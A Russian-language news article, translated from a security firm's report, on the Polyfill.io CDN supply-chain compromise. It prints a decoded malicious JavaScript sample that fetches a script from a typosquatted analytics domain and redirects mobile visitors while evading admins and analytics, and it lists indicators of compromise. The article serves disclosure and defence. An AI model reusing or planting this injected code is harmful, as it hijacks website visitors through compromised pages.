Новый китайский владелец популярного проекта Polyfill JS внедрил вредоносное ПО более чем на 100 тысяч сайтов

от автора

Polyfill.js — популярная библиотека с открытым исходным кодом для поддержки старых браузеров. Более 100 тыс. сайтов встраивают ее через домен cdn.polyfill.io. Среди известных пользователей JSTOR (цифровая база данных полнотекстовых научных журналов), Intuit и вебсайт Всемирного экономического форума. В феврале этого года китайская компания Funnull купила домен и аккаунт на Github. С тех пор этот домен был замечен в внедрении вредоносного ПО на мобильные устройства через вебсайты, использующие cdn.polyfill.io. Любые жалобы быстро удалялись из репозитория Github (архив здесь).

Полифил динамически генерируется на основе HTTP-заголовков, поэтому вероятны несколько векторов атаки. Специалисты из компании Sansec декодировали один из экземпляров вредоносного ПО, которое перенаправляет мобильных пользователей на сайт онлайн-букмекера через поддельный домен Google Analytics (www.googie-anaiytics.com). Код имеет защиту от реверс-инжиниринга и активируется только на определенных мобильных устройствах в определенные часы, не активируется при обнаружении пользователя-администратора, а также приостанавливает выполнение при обнаружении службы веб-аналитики, предположительно, чтобы не попасть в отчёты.

Автор оригинального проекта рекомендует не использовать Polyfill, так как он больше не нужен современным браузерам. Тем временем, Fastly и Cloudflare предложили собственные альтернативы пользователям.

Этот инцидент является типичным примером атаки на цепочку поставок — SSC — software supply chain attacks (статья на Хабре для интересующихся — https://habr.com/ru/articles/733504/). Авторы оригинальной статьи, компания Sansec, предложила бесплатный сервис мониторинга Sansec Watch.

Пример вредоносного кода Polyfill:

function isPc() {   try {     var _isWin =         navigator.platform == "Win32" || navigator.platform == "Windows",       _isMac =         navigator.platform == "Mac68K" ||         navigator.platform == "MacPPC" ||         navigator.platform == "Macintosh" ||         navigator.platform == "MacIntel";     if (_isMac || _isWin) {       return true;     } else {       return false;     }   } catch (_0x44e1f6) {     return false;   } } function vfed_update(_0x5ae1f8) {   _0x5ae1f8 !== "" &&     loadJS(       "https://www.googie-anaiytics.com/html/checkcachehw.js",       function () {         if (usercache == true) {           window.location.href = _0x5ae1f8;         }       }     ); } function check_tiaozhuan() {   var _isMobile = navigator.userAgent.match(     /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i   );   if (_isMobile) {     var _curHost = window.location.host,       _ref = document.referrer,       _redirectURL = "",       _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",       _rnd = Math.floor(Math.random() * 100 + 1),       _date = new Date(),       _hours = _date.getHours();     if (       _curHost.indexOf("www.dxtv1.com") !== -1 ||       _curHost.indexOf("www.ys752.com") !== -1     ) {       _redirectURL = "https://kuurza.com/redirect?from=bitget";     } else {       if (_curHost.indexOf("shuanshu.com.com") !== -1) {         _redirectURL = "https://kuurza.com/redirect?from=bitget";       } else {         if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {           _redirectURL = "https://kuurza.com/redirect?from=bitget";         } else {           if (_hours >= 0 && _hours < 2) {             if (_rnd <= 10) {               _redirectURL = _kuurzaBitGet;             }           } else {             if (_hours >= 2 && _hours < 4) {               _rnd <= 15 && (_redirectURL = _kuurzaBitGet);             } else {               if (_hours >= 4 && _hours < 7) {                 _rnd <= 20 && (_redirectURL = _kuurzaBitGet);               } else {                 _hours >= 7 && _hours < 8                   ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)                   : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);               }             }           }         }       }     }     _redirectURL != "" &&       !isPc() &&       document.cookie.indexOf("admin_id") == -1 &&       document.cookie.indexOf("adminlevels") == -1 &&       vfed_update(_redirectURL);   } } let _outerPage = document.documentElement.outerHTML,   bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1; let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,   wolafg = _outerPage.indexOf(".51.la") != -1; let mattoo = _outerPage.indexOf(".matomo.org") != -1,   aanaly = _outerPage.indexOf(".google-analytics.com") != -1; let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,   aplausix = _outerPage.indexOf(".plausible.io") != -1,   statcct = _outerPage.indexOf(".statcounter.com") != -1; bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct   ? setTimeout(check_tiaozhuan, 2000)   : check_tiaozhuan();

Линки, которые свидетельствуют о компрометации

https://kuurza.com/redirect?from=bitget https://www.googie-anaiytics.com/html/checkcachehw.js https://www.googie-anaiytics.com/ga.js

Обновление 25 июня:

Google начал блокировать рекламу для сайтов eCommerce, использующих polyfill.io.

Обновление 26 июня:

Кто-то запустил DDoS-атаки на инфраструктуру компаний Sansec и BleepingComputer (издание, первым опубликовавшее исследование от Sansec).

Обновление 27 июня:

Cloudflare реализовала перенаправление в реальном времени с cdn.polyfill.io на свою версию. Позже регистратор Namecheap приостановил действие домена, устранив риск на данный момент. Рекомендуется удалить все ссылки на polyfill.io в вашем коде.


Данная статья является переводом поста компании Sansec от 25 июня 2024 года — https://sansec.io/research/polyfill-supply-chain-attack. Насколько я могу судить, Habr не позволяет вставить ссылку на оригинал, для «новости». Если я неправ, прошу модераторов об исправлении.


ссылка на оригинал статьи https://habr.com/ru/articles/825122/